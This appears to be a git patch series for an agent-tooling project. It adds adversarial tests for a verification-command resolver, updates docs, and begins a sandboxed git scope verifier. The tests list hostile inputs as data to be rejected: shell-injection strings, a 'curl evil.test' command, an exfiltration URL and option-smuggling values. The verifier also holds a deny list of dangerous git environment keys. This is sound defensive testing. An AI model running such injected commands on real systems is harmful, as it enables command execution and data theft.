600_000, + }, + })).code, + 'resource_limit_denied', + ); + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: validSelection(), + manifest: { command_id: 'unit-tests', parameters: {} }, + })).code, + 'authority_denied', + ); + + const providerReport = { + command_id: 'unit-tests', + argv: ['/bin/sh', '-c', 'curl evil.test'], + env: { LD_PRELOAD: 'x' }, + }; + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1({ + policy, + selection: providerReport, + })).code, + 'executable_content_denied', + ); + + const resolved = resolveApprovedVerificationCommandV1({ policy, selection: validSelection() }); + assert.equal(resolved.command_id, 'unit-tests'); +}); + +test('injection through values, templates, options, paths, and shell text is denied', () => { + const cases = [ + ['$(curl https://evil.test)', 'shell_content_denied'], + ['`id`', 'shell_content_denied'], + ['spec.js;id', 'shell_content_denied'], + ['spec.js|cat', 'shell_content_denied'], + ['spec.js && id', 'shell_content_denied'], + ['spec.js\n--extra', 'control_character_denied'], + ['spec.js\u0000x', 'control_character_denied'], + ['--help', 'option_smuggling_denied'], + ['-rf', 'option_smuggling_denied'], + ['../etc', 'invalid_format'], + ['spec/js', 'invalid_format'], + ['spec.js*', 'shell_content_denied'], + ['${SHELL}', 'shell_content_denied'], + ['spec\u2044js', 'ambiguous_id_denied'], + ['.', 'invalid_format'], + ['..', 'invalid_format'], + ['foo bar', 'shell_content_denied'], + ]; + for (const [file, code] of cases) { + const error = errorOf(() => resolveApprovedVerificationCommandV1(parameterizedRequest({ + selection: { command_id: 'file-tests', parameters: { file } }, + }))); + assert.equal(error.code, code, file); + if (file.length > 2) assert.equal(error.message.includes(file), false, file); + assert.equal(error.message.includes('evil'), false, file); + assert.equal(error.message.includes('https://'), false, file); + } + + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ note: '--flag' }), + }, + }))).code, + 'option_smuggling_denied', + ); +}); + +test('boolean and integer argv tokens stay canonical without option smuggling of strings', () => { + const zero = resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ count: 0, ok: false }), + }, + })); + assert.deepEqual(zero.argv.slice(3, 7), ['--count', '0', '--ok', 'false']); + assert.equal( + errorOf(() => resolveApprovedVerificationCommandV1(typedRequest({ + selection: { + command_id: 'typed-run', + parameters: validTypedParameters({ count: -0 }), + }, + }))).code, + 'invalid_type', + ); +}); + +test('caller objects are not mutated, frozen, or reused', () => { + const request = parameterizedRequest(); + const originalFile = request.selection.parameters.file; + const receipt = resolveApprovedVerificationCommandV1(request); + assert.equal(Object.isFrozen(request), false); + assert.equal(Object.isFrozen(request.policy), false); + assert.equal(Object.isFrozen(request.selection), false); + assert.equal(Object.isFrozen(request.selection.parameters), false); + request.selection.parameters.file = 'mutated.js'; + request.policy.commands.push(validCommand({ command_id: 'other' })); + assert.equal(receipt.parameters.file, originalFile); + assert.equal(receipt.argv[2], 'spec.js'); + const again = resolveApprovedVerificationCommandV1(parameterizedRequest()); + assert.notEqual(receipt, again); + assert.equal(receipt.plan_identity.digest, again.plan_identity.digest); + assert.equal( + canonicalVerificationPolicyJsonV1(request.policy).includes('file-tests'), + true, + ); +}); + +test('failures are typed and content-free', () => { + const secret = 'sk-attacker-secret-value'; + const error = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: validSelection(), + [secret]: `/usr/bin/${secret}`, + })); + assert.equal(error instanceof RunContractV1Error, true); + assert.equal(typeof error.code, 'string'); + assert.equal(error.message.includes(secret), false); + assert.equal(error.message.includes('/usr/bin'), false); + assert.equal(String(error.path).includes(secret), false); + assert.equal(error.message.includes('TypeError'), false); + + const urlError = errorOf(() => resolveApprovedVerificationCommandV1({ + policy: validPolicy(), + selection: { command_id: 'unit-tests', url: 'https://evil.example/steal' }, + })); + assert.equal(urlError.message.includes('https://'), false); + assert.equal(urlError.message.includes('evil.example'), false); + assert.equal(urlError.code, 'network_content_denied'); +}); + +test('the module never claims command execution, PATH resolution, or network access', async () => { + const source = await readFile( + new URL('../mcp/v3/approved-verification-command.mjs', import.meta.url), + 'utf8', + ); + assert.match(source, /never invokes a shell/u); + assert.match(source, /never resolves PATH/u); + assert.match(source, /does not implement the P16C runner/u); + assert.doesNotMatch(source, /from 'node:child_process'/u); + assert.doesNotMatch(source, /from 'node:fs'/u); + assert.doesNotMatch(source, /from 'node:fs\/promises'/u); + assert.doesNotMatch(source, /from 'node:net'/u); + assert.doesNotMatch(source, /from 'node:http'/u); + assert.doesNotMatch(source, /from 'node:dns'/u); + assert.doesNotMatch(source, /from 'node:os'/u); + assert.equal(source.includes('spawn('), false); + assert.equal(source.includes('execFile('), false); + assert.equal(source.includes('execSync('), false); + assert.equal(source.includes('fetch('), false); + assert.equal(source.includes('process.env'), false); +}); From fbbf6223dd0e00dd0c968d0503fee05b1b26880c Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:03:08 +0000 Subject: [PATCH 077/151] docs(changelog): record the P16B approved-command resolver Note the additive resolver surface and keep future-work clear that P16C trusted-policy command execution remains later work. --- CHANGELOG.md | 21 +++++++++++++++++++++ docs/configuration.md | 3 +++ docs/future-work.md | 8 ++++---- docs/threat-model.md | 8 +++++--- 4 files changed, 33 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 79820a5..e90581a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,27 @@ ### Added +- **Approved verification-command resolver.** Adds additive + `approved-verification-command.mjs` for W15-P16B. The module consumes an + immutable trusted `VerificationPolicyV1` from P16A plus a closed + Codex/owner selection of `command_id` and typed parameter values, and + returns a fresh frozen ExecutionIntent / ApprovedCommand receipt. Every + parameter is checked against the owner-authored domain (exact name set, + required semantics, types, enums, ranges, length, and path-segment + grammar). Expansion substitutes only whole-token `{name}` placeholders + from the owner argv template; there is no shell string, PATH lookup, + executable override, interpolation, substitution, globbing, or option + smuggling. Provider, profile, and manifest reported commands remain + evidence only: matching command-id or argv text does not authorize + resolution. Receipts bind policy identity, command-descriptor identity, + canonical parameters, executable path, exact argv, and inherited P16A + constraints without executing. Hostile containers fail closed with typed + content-free errors. Callers' objects are neither mutated nor frozen. + The module never invokes a shell, resolves PATH, opens a network socket, + reads arbitrary workspace files, mutates a candidate, or implements the + later P16C runner. Coverage lives in + `test/r1-approved-verification-command.test.mjs` and + `test/r1-approved-verification-command-adversarial.test.mjs`. - **Trusted VerificationPolicyV1 schema and owner-authored policy loader.** Adds additive `trusted-verification-policy.mjs` for W14-P16A. The module owns a versioned immutable command catalog: each stable command ID binds diff --git a/docs/configuration.md b/docs/configuration.md index 8539d10..2cb5bc8 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -4,6 +4,9 @@ Codex-Co-Engineer has no executable project policy file. The only project-scoped configuration data is the data-only ProfileV1 catalog described in [Profiles](#profiles); verification commands never come from profiles and remain a separate owner-maintained `VerificationPolicyV1`. +The approved-command resolver consumes that owner policy plus a closed +Codex/owner `command_id` selection and returns a frozen ExecutionIntent +receipt; it does not execute the command. Provider authentication is normal persistent login/session state or an owner-only key file. The setup command installs the pinned local composition and creates the default DSH configuration; it never performs login on the diff --git a/docs/future-work.md b/docs/future-work.md index 34f9d74..47eec4f 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -17,10 +17,10 @@ fallback or replay, and Codex-only final acceptance. This worktree does not implement the run runtime, candidate composition, or `AttentionBatchV1`. The P16A VerificationPolicyV1 schema and owner -loader exist as data validation only; approved-command resolution and -execution remain later work. Gate A remains the functional release -authority; Gate B context-efficiency and Gate C credit economics stay -advisory. +loader plus the P16B approved-command resolver exist as data validation +and resolution only; P16C trusted-policy command execution remains later +work. Gate A remains the functional release authority; Gate B +context-efficiency and Gate C credit economics stay advisory. ## Durable, low-token agent completion waits diff --git a/docs/threat-model.md b/docs/threat-model.md index 11e38ca..5498a2e 100644 --- a/docs/threat-model.md +++ b/docs/threat-model.md @@ -102,9 +102,11 @@ Verification lanes are read-only. Profiles are data-only and must not carry executable catalogs. Owner-maintained `VerificationPolicyV1` is the only executable command catalog those lanes may run. Codex may select only approved command IDs and permitted parameters; manifests carry those IDs -and parameters, never arbitrary executable argv. Provider-reported or -provider-requested commands are evidence or attention only and are never -automatically executed. A verifier may not: +and parameters, never arbitrary executable argv. The approved-command +resolver binds a closed Codex/owner selection to a frozen ExecutionIntent +receipt without executing. Provider-reported or provider-requested +commands are evidence or attention only and are never automatically +executed. A verifier may not: - invent commands outside the catalog; - install additional trust roots or mutate the workspace; From f3a7cf9d6f653805efb1195c3fe3aad33e77bfd2 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 09:15:30 +0000 Subject: [PATCH 078/151] feat(verify): add the scope, read-only, and merge-commit verifier Add an additive v3 ScopeVerifierV1 module that consumes trusted P14 GitIdentityV1 evidence and emits content-free P13 git_diff and head_sha facts. Observation is argv-only through the closed git environment. --- .../mcp/v3/scope-verifier.mjs | 1281 +++++++++++++++++ 1 file changed, 1281 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs b/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs new file mode 100644 index 0000000..011d682 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/scope-verifier.mjs @@ -0,0 +1,1281 @@ +// ScopeVerifierV1 — independently derived changed-path ownership, read-only +// mutation, and merge-commit facts (ADR 0001 identifiers +// `disjoint_writer_scopes`, `read_only_verification`, +// `candidate_git_policy_revalidation`, `bounded_evidence`, +// `gate_a_scope_and_read_only_detection`). +// +// Additive v3 module for W16-P15. It consumes only trusted P14 GitIdentityV1 +// evidence plus P13 VerifiedFactV1 / EvidenceDiscrepancyV1 snapshots and +// never treats provider claims as authority. It observes the local repository +// through argv execution (`/usr/bin/git`, no shell) and binds content-free +// git_diff / head_sha facts (`platform_git` with `scope_match`, +// `read_only_no_changes`, and `merge_commit_absence`). It does not own P16A +// trusted command policy or runner, P28 Git mutation, P30/P35 composition, +// server/supervisor integration, network, or merge/rebase/push/PR. +// +// Observation is fail-closed: spawn is argv-only, the child environment is +// the P14 closed map (system/global/caller config and protocols disabled), +// output/time/command counts are bounded, typed errors never echo hostile +// bytes, and a pre/post fingerprint mismatch is an observation race. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, + MAX_DURATION_MS, + MAX_SEQUENCE, +} from './evidence-bundle.mjs'; +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, + GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS, + GIT_IDENTITY_RESULT_ALLOWED_KEYS, + GIT_IDENTITY_SCHEMA_ID, + GIT_IDENTITY_STATUSES, + GIT_IDENTITY_VERSION, + MAX_GIT_ARGS, + MAX_GIT_ARG_BYTES, + MAX_GIT_COMMANDS, + MAX_GIT_TIME_MS, + MAX_GIT_TOTAL_TIME_MS, + parseGitIdentityRequestV1, + verifyGitIdentityV1, +} from './git-identity.mjs'; +import { + capturedDescriptor, + capturedFreeze, + capturedHasOwn, + capturedOwnKeys, + isKnownAccess, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + compiledRepoGlobMatchesPath, + compileRepoGlob, + assertRepoRelativePath, + REPO_PATH_BATCH_MAX, + RepoPathMatcherError, +} from './repo-path-matcher.mjs'; +import { + RunContractV1Error, + assertWriteScopePatterns, + isAssignmentId, + isSha40, + SCOPE_MAX_PATTERNS, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const SCOPE_VERIFIER_SCHEMA_ID = 'codex-co-engineer.scope-verifier.v1'; +export const SCOPE_VERIFIER_VERSION = 1; + +export const MAX_SCOPE_OUTPUT_BYTES = 262_144; +export const MAX_CHANGED_PATHS = REPO_PATH_BATCH_MAX; +export const MAX_NEW_COMMITS = 64; +export const MAX_OTHER_WRITE_SCOPES = 7; + +export const SCOPE_REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'identity_request', 'identity', 'access', 'write_scope', 'other_write_scopes', +]); +export const SCOPE_REQUEST_REQUIRED_KEYS = SCOPE_REQUEST_ALLOWED_KEYS; +export const SCOPE_OTHER_SCOPE_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'write_scope', +]); +export const SCOPE_RESULT_ALLOWED_KEYS = capturedFreeze([ + 'schema', 'version', 'status', 'facts', 'discrepancies', 'observation', +]); +export const SCOPE_OBSERVATION_ALLOWED_KEYS = capturedFreeze([ + 'repository_path', 'git_dir', 'base_sha', 'head_sha', 'access', + 'parent_count', 'new_commit_count', 'path_count', 'path_set_digest', + 'rename_count', 'copy_count', 'dirty', 'duration_ms', +]); +export const SCOPE_OPTIONS_ALLOWED_KEYS = capturedFreeze(['spawn']); +export const SCOPE_VERIFIER_STATUSES = capturedFreeze(['failed', 'verified']); + +export const SCOPE_VERIFIER_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'bounds_exceeded', + 'conflicting_id', 'duplicate_id', 'env_influence_denied', + 'exotic_prototype_denied', 'git_execution_failed', 'hostile_name_denied', + 'identity_mismatch', 'invalid_format', 'invalid_type', 'missing_key', + 'non_enumerable_property_denied', 'observation_race', 'own_undefined_denied', + 'out_of_range', 'proxy_denied', 'symbol_key_denied', 'unknown_key', + 'unverified_identity', +]); + +const SCOPE_GIT_ISOLATION_FLAGS = capturedFreeze([ + '--no-replace-objects', + '--no-optional-locks', + '--literal-pathspecs', + '-c', 'core.useReplaceRefs=false', + '-c', 'core.hooksPath=/dev/null', + '-c', 'gc.auto=0', + '-c', 'advice.detachedHead=false', + '-c', 'log.showSignature=false', +]); + +const FORBIDDEN_ENV_KEYS = capturedFreeze([ + 'GIT_DIR', 'GIT_WORK_TREE', 'GIT_OBJECT_DIRECTORY', + 'GIT_ALTERNATE_OBJECT_DIRECTORIES', 'GIT_INDEX_FILE', 'GIT_COMMON_DIR', + 'GIT_NAMESPACE', 'GIT_CONFIG', 'GIT_CONFIG_COUNT', 'GIT_CONFIG_PARAMETERS', + 'GIT_REPLACE_REF_BASE', 'GIT_GRAFT_FILE', 'GIT_QUARANTINE_PATH', + 'GIT_PROXY_COMMAND', 'GIT_SSH', 'GIT_SSH_COMMAND', 'GIT_TRACE', + 'GIT_TRACE2', 'GIT_EXEC_PATH', 'GIT_TEMPLATE_DIR', +]); + +const SEPARATOR_LOOKALIKES = capturedFreeze([ + 0x2044, 0x2215, 0x27cb, 0x27cd, 0x29f8, 0xfe68, 0xff0f, 0xff3c, +]); +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const PRIVATE_MODE_PATTERN = /^[0-7]{6}$/u; +const PRIVATE_DIFF_STATUS_PATTERN = /^[ADMTRCUBX][0-9]{0,3}$/u; +const ZERO_SHA = '0'.repeat(40); +const MODE_SYMLINK = '120000'; +const MODE_GITLINK = '160000'; +const MODE_MISSING = '000000'; + +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const OBJECT_FREEZE = Object.freeze; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const MATH_FLOOR = Math.floor; +const MATH_MAX = Math.max; +const MATH_MIN = Math.min; +const ARRAY_IS_ARRAY = Array.isArray; +const ARRAY_PUSH = Array.prototype.push; +const ARRAY_SORT = Array.prototype.sort; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const BUFFER_IS_BUFFER = NodeBuffer.isBuffer.bind(NodeBuffer); +const BUFFER_EQUALS = NodeBuffer.prototype.equals; +const CRYPTO_CREATE_HASH = createHash; +const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH('sha256')); +const HASH_UPDATE = HASH_PROTOTYPE.update; +const HASH_DIGEST = HASH_PROTOTYPE.digest; +const SPAWN = nodeSpawn; +const REFLECT_APPLY = Reflect.apply; +const STRING_FROM_CODE_POINT = String.fromCodePoint; +const IS_PROXY = utilTypes.isProxy; + +function contractError(code, path, message) { + return new RunContractV1Error(code, path, message); +} + +function asContractError(error, path, code = 'git_execution_failed') { + if (error instanceof RunContractV1Error) return error; + return contractError(code, path, `${path} could not complete a git observation.`); +} + +function assertOwnedHandle(value, path) { + if (value === null || (typeof value !== 'object' && typeof value !== 'function')) { + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + try { + if (IS_PROXY(value)) { + fail('proxy_denied', path, + `${path} is a live or revoked Proxy; git observation accepts owned process handles only.`); + } + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } +} + +function readHandleField(handle, key, path) { + assertOwnedHandle(handle, path); + let value; + try { + value = handle[key]; + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + if (value !== null && value !== undefined + && (typeof value === 'object' || typeof value === 'function')) { + assertOwnedHandle(value, path); + } + return value; +} + +function invokeHandle(handle, key, args, path) { + const method = readHandleField(handle, key, path); + if (typeof method !== 'function') { + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } + try { + return REFLECT_APPLY(method, handle, args); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + fail('git_execution_failed', path, `${path} could not start a git observation.`); + } +} + +function ownedChunk(chunk, path) { + try { + if (typeof chunk === 'string') return BUFFER_FROM(chunk, 'utf8'); + if (BUFFER_IS_BUFFER(chunk)) return BUFFER_FROM(chunk); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + } + fail('git_execution_failed', path, `${path} could not complete a git observation.`); +} + +function assertClosedKeySet(input, allowedKeys, path) { + let ownKeys; + try { + ownKeys = capturedOwnKeys(input); + } catch { + fail('invalid_type', path, `${path} keys could not be inspected safely.`); + } + for (let index = 0; index < ownKeys.length; index += 1) { + const key = ownKeys[index]; + if (typeof key === 'symbol') { + fail('symbol_key_denied', path, + `${path} carries a symbol property; scope records are direct JSON only.`); + } + let allowed = false; + for (let allowedIndex = 0; allowedIndex < allowedKeys.length; allowedIndex += 1) { + if (allowedKeys[allowedIndex] === key) { + allowed = true; + break; + } + } + if (!allowed) { + fail('unknown_key', path, `${path} carries a key outside the closed vocabulary.`); + } + } +} + +function assertNestedClosedKeys(input, key, allowedKeys, path) { + const descriptor = capturedDescriptor(input, key); + if (descriptor === undefined) return; + if (descriptor.get !== undefined || descriptor.set !== undefined) return; + const value = descriptor.value; + if (value === null || typeof value !== 'object' || ARRAY_IS_ARRAY(value)) return; + try { + if (IS_PROXY(value)) return; + } catch { + return; + } + assertClosedKeySet(value, allowedKeys, `${path}.${key}`); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!capturedHasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function requiredKeys(input, keys, path) { + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!hasOwn(input, key)) { + fail('missing_key', `${path}.${key}`, + `${path}.${key} is required (${SCOPE_VERIFIER_SCHEMA_ID}); scope records have no hidden defaults.`); + } + } +} + +function digestCanonical(value) { + const canonical = canonicalJsonStringify(value); + const hash = CRYPTO_CREATE_HASH('sha256'); + HASH_UPDATE.call(hash, BUFFER_FROM(canonical, 'utf8')); + return HASH_DIGEST.call(hash, 'hex'); +} + +function digestBytes(text) { + const hash = CRYPTO_CREATE_HASH('sha256'); + HASH_UPDATE.call(hash, BUFFER_FROM(text, 'utf8')); + return HASH_DIGEST.call(hash, 'hex'); +} + +function assertClosedEnv(env, path) { + if (env === null || typeof env !== 'object' || ARRAY_IS_ARRAY(env)) { + fail('env_influence_denied', path, `${path} must be the closed git environment map.`); + } + for (let index = 0; index < FORBIDDEN_ENV_KEYS.length; index += 1) { + const key = FORBIDDEN_ENV_KEYS[index]; + if (capturedHasOwn(env, key)) { + fail('env_influence_denied', path, + `${path} must not carry git configuration, replace, graft, or directory overrides.`); + } + } +} + +function assertGitArgv(args, path) { + if (!ARRAY_IS_ARRAY(args)) fail('invalid_type', path, `${path} must be an argv array.`); + if (args.length > MAX_GIT_ARGS) { + fail('bounds_exceeded', path, `${path} exceeds the git argv arity cap.`); + } + for (let index = 0; index < args.length; index += 1) { + const arg = args[index]; + if (typeof arg !== 'string' || arg.length === 0) { + fail('hostile_name_denied', `${path}[${index}]`, `${path} entries must be non-empty strings.`); + } + if (arg.includes('\0')) { + fail('hostile_name_denied', `${path}[${index}]`, `${path} entries must not contain NUL.`); + } + if (BUFFER_BYTE_LENGTH(arg) > MAX_GIT_ARG_BYTES) { + fail('bounds_exceeded', `${path}[${index}]`, `${path} exceeds the git argument byte cap.`); + } + } +} + +function decodeUtf8(buffer, path) { + let text; + try { + text = buffer.toString('utf8'); + } catch { + fail('git_execution_failed', path, `${path} produced an invalid git observation encoding.`); + } + let roundtrip; + try { + roundtrip = BUFFER_FROM(text, 'utf8'); + } catch { + fail('git_execution_failed', path, `${path} produced an invalid git observation encoding.`); + } + if (roundtrip.length !== buffer.length || !REFLECT_APPLY(BUFFER_EQUALS, roundtrip, [buffer])) { + fail('hostile_name_denied', path, `${path} produced a non-UTF-8 git observation.`); + } + return text; +} + +function createSession(spawnFn) { + const startedAt = Date.now(); + return { + spawn: spawnFn, + commands: 0, + startedAt, + deadlineAt: startedAt + MAX_GIT_TOTAL_TIME_MS, + }; +} + +function assertDeadline(session, path) { + if (Date.now() >= session.deadlineAt) { + fail('bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`); + } +} + +function remainingMs(session) { + const left = session.deadlineAt - Date.now(); + return left > 0 ? left : 0; +} + +function assertSessionBounds(session, path) { + if (session.commands >= MAX_GIT_COMMANDS) { + fail('bounds_exceeded', path, `${path} exceeds the git command-count cap.`); + } + assertDeadline(session, path); +} + +function listenStream(stream, event, handler, path) { + if (stream === undefined || stream === null) return; + invokeHandle(stream, 'on', [event, handler], path); +} + +function runGit(session, args, path) { + assertGitArgv(args, `${path}.args`); + assertSessionBounds(session, path); + const budget = remainingMs(session); + if (budget <= 0) { + fail('bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`); + } + session.commands += 1; + const argv = [GIT_EXECUTABLE, ...SCOPE_GIT_ISOLATION_FLAGS, ...args]; + assertGitArgv(argv, `${path}.argv`); + const spawnOptions = { + cwd: '/', + env: GIT_CLOSED_ENV, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }; + assertClosedEnv(spawnOptions.env, `${path}.env`); + return new Promise((resolve, reject) => { + let child; + try { + child = session.spawn(GIT_EXECUTABLE, argv.slice(1), spawnOptions); + } catch { + reject(contractError( + 'git_execution_failed', path, `${path} could not start a git observation.`, + )); + return; + } + try { + assertOwnedHandle(child, path); + } catch (error) { + reject(asContractError(error, path)); + return; + } + const stdoutChunks = []; + const stderrChunks = []; + let stdoutBytes = 0; + let stderrBytes = 0; + let exceeded = false; + let settled = false; + let timer; + const finish = (error, result) => { + if (settled) return; + settled = true; + clearTimeout(timer); + if (error) reject(asContractError(error, path)); + else resolve(result); + }; + const exceed = () => { + if (exceeded) return; + exceeded = true; + try { invokeHandle(child, 'kill', ['SIGKILL'], path); } catch { /* already exited */ } + finish(contractError( + 'bounds_exceeded', path, `${path} exceeded a closed git output or time bound.`, + )); + }; + timer = setTimeout(exceed, MATH_MIN(MAX_GIT_TIME_MS, budget)); + const onChunk = (target, getSize, setSize) => (chunk) => { + try { + const owned = ownedChunk(chunk, path); + const next = getSize() + owned.length; + setSize(next); + if (next > MAX_SCOPE_OUTPUT_BYTES) { + exceed(); + return; + } + REFLECT_APPLY(ARRAY_PUSH, target, [owned]); + } catch (error) { + finish(asContractError(error, path)); + } + }; + try { + listenStream( + readHandleField(child, 'stdout', path), + 'data', + onChunk(stdoutChunks, () => stdoutBytes, (value) => { stdoutBytes = value; }), + path, + ); + listenStream( + readHandleField(child, 'stderr', path), + 'data', + onChunk(stderrChunks, () => stderrBytes, (value) => { stderrBytes = value; }), + path, + ); + invokeHandle(child, 'once', ['error', () => { + finish(contractError( + 'git_execution_failed', path, `${path} could not complete a git observation.`, + )); + }], path); + invokeHandle(child, 'once', ['close', (code, signal) => { + if (exceeded) return; + try { + if (Date.now() >= session.deadlineAt) { + finish(contractError( + 'bounds_exceeded', path, `${path} exceeds the git wall-clock cap.`, + )); + return; + } + const stdoutBuffer = BUFFER_CONCAT(stdoutChunks); + const stderrBuffer = BUFFER_CONCAT(stderrChunks); + if (signal !== null && signal !== undefined) { + finish(contractError( + 'git_execution_failed', path, `${path} could not complete a git observation.`, + )); + return; + } + finish(null, { + exit_code: typeof code === 'number' ? code : 1, + stdout: decodeUtf8(stdoutBuffer, path), + stderr: decodeUtf8(stderrBuffer, `${path}.stderr`), + }); + } catch (error) { + finish(asContractError(error, path)); + } + }], path); + } catch (error) { + try { invokeHandle(child, 'kill', ['SIGKILL'], path); } catch { /* already exited */ } + finish(asContractError(error, path)); + } + }); +} + +async function gitRequired(session, args, path) { + const result = await runGit(session, args, path); + if (result.exit_code !== 0) { + fail('git_execution_failed', path, `${path} could not complete a git observation.`); + } + return result.stdout; +} + +function repoFlags(repositoryPath, gitDir) { + return capturedFreeze(['-C', repositoryPath, '--git-dir', gitDir]); +} + +function parseOptions(options, path = 'options') { + if (options === undefined) { + return freezeRecord(SCOPE_OPTIONS_ALLOWED_KEYS, { spawn: SPAWN }); + } + assertNotProxy(options, path); + assertPlainObject(options, 'invalid_type', path, path); + assertClosedKeySet(options, SCOPE_OPTIONS_ALLOWED_KEYS, path); + let spawn = SPAWN; + if (hasOwn(options, 'spawn')) { + spawn = optOwn(options, 'spawn'); + if (typeof spawn !== 'function') { + fail('invalid_type', `${path}.spawn`, `${path}.spawn must be a spawn function.`); + } + assertNotProxy(spawn, `${path}.spawn`); + } + return freezeRecord(SCOPE_OPTIONS_ALLOWED_KEYS, { spawn }); +} + +function splitNul(text) { + if (typeof text !== 'string') return []; + if (text.length === 0) return []; + const parts = text.split('\0'); + if (parts.length > 0 && parts[parts.length - 1] === '') parts.pop(); + return parts; +} + +function assertObservedPath(value, path) { + if (typeof value !== 'string' || value.length === 0) { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + if (value.includes('\0') || value.includes('\r') || value.includes('\\')) { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + try { + assertRepoRelativePath(value, 'path'); + } catch (error) { + if (error instanceof RepoPathMatcherError || error instanceof RunContractV1Error) { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + throw error; + } + let index = 0; + while (index < value.length) { + const codePoint = value.codePointAt(index); + if (codePoint === undefined) { + fail('hostile_name_denied', path, `${path} is not a repository-relative path.`); + } + for (let look = 0; look < SEPARATOR_LOOKALIKES.length; look += 1) { + if (SEPARATOR_LOOKALIKES[look] === codePoint) { + fail('hostile_name_denied', path, `${path} contains a confusable path separator.`); + } + } + if (STRING_FROM_CODE_POINT(codePoint).normalize('NFC') + !== STRING_FROM_CODE_POINT(codePoint)) { + fail('hostile_name_denied', path, `${path} must use NFC-normalized path segments.`); + } + index += codePoint > 0xffff ? 2 : 1; + } + if (value.normalize('NFC') !== value) { + fail('hostile_name_denied', path, `${path} must use NFC-normalized path segments.`); + } + return value; +} + +function addUniquePath(paths, seen, value, path) { + const observed = assertObservedPath(value, path); + if (seen.has(observed)) return; + if (paths.length >= MAX_CHANGED_PATHS) { + fail('bounds_exceeded', path, `${path} exceeds the changed-path cap.`); + } + seen.add(observed); + REFLECT_APPLY(ARRAY_PUSH, paths, [observed]); +} + +function isRenameOrCopyStatus(status) { + return status.charCodeAt(0) === 0x52 || status.charCodeAt(0) === 0x43; +} + +function parseDiffTreeRaw(stdout, path) { + const parts = splitNul(stdout); + const records = []; + const paths = []; + const seen = new Set(); + let renameCount = 0; + let copyCount = 0; + let index = 0; + while (index < parts.length) { + const header = parts[index]; + index += 1; + if (typeof header !== 'string' || header.length === 0 || header.charCodeAt(0) !== 0x3a) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + const fields = header.slice(1).split(' '); + if (fields.length !== 5) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + const [oldMode, newMode, oldSha, newSha, status] = fields; + if (!PRIVATE_MODE_PATTERN.test(oldMode) || !PRIVATE_MODE_PATTERN.test(newMode) + || !isSha40(oldSha) && oldSha !== ZERO_SHA + || !isSha40(newSha) && newSha !== ZERO_SHA + || !PRIVATE_DIFF_STATUS_PATTERN.test(status)) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + if (!isSha40(oldSha) && oldSha !== ZERO_SHA) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + if (!isSha40(newSha) && newSha !== ZERO_SHA) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + const kind = status.charCodeAt(0); + let sourcePath = ''; + let destPath = ''; + if (isRenameOrCopyStatus(status)) { + if (index + 1 >= parts.length) { + fail('git_execution_failed', path, `${path} produced an unexpected git observation.`); + } + sourcePath = parts[index]; + destPath = parts[index + 1]; + index += 2; + addUniquePath(paths, seen, sourcePath, path); + addUniquePath(paths, 